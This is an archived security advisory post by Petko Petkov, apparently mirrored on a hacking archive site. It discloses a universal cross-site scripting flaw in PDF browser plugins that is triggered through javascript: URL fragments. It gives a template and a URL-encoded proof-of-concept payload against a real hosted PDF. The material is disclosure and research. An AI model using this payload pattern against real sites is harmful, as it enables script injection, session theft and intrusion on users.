AOH :: HP Unsorted U :: C07-1579.HTM

Universal XSS with PDF files: highly dangerous



sr=0D ni Universal XSS with PDF files: highly dangerous
Universal XSS with PDF files: highly dangerous



I will be very quick and just point to links where you can read about
this issue.

It seams that PDF documents can execute JavaScript code for no
apparent reason by using the following template:

http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here 

You must understand that the attacker doesn't need to have write
access to the specified PDF document. In order to get an XSS vector
working you need to have a PDF file hosted on the target and that's
all about it. The rest is just a matter of your abilities and desires.

This finding was originally mentioned by Sven Vetsch, on his blog.
This is a very good and quite interesting. Good work.

There is a POC I composed:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:function%20createXMLHttpRequest(){%20%20%20try{%20return%20new%20ActiveXObject('Msxml2.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20ActiveXObject('Microsoft.XMLHTTP');%20}catch(e){}%20%20%20try{%20return%20new%20XMLHttpRequest();%20}catch(e){}%20%20%20return%20null;}var%20xhr%20=%20cr
eateXMLHttpRequest();xhr.onreadystatechange%20=%20function(){%20%20%20%20if%20(xhr.readyState%20==%204)%20%20%20%20%20%20%20%20alert(xhr.responseText);};xhr.open('GET',%20'http://www.google.com',%20true);xhr.send(null); 

More on the matter can be found here:

http://www.gnucitizen.org/blog/danger-danger-danger/ 
http://www.disenchant.ch/blog/hacking-with-browser-plugins/34 

-- 
pdp (architect) | petko d. petkov
http://www.gnucitizen.org 

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.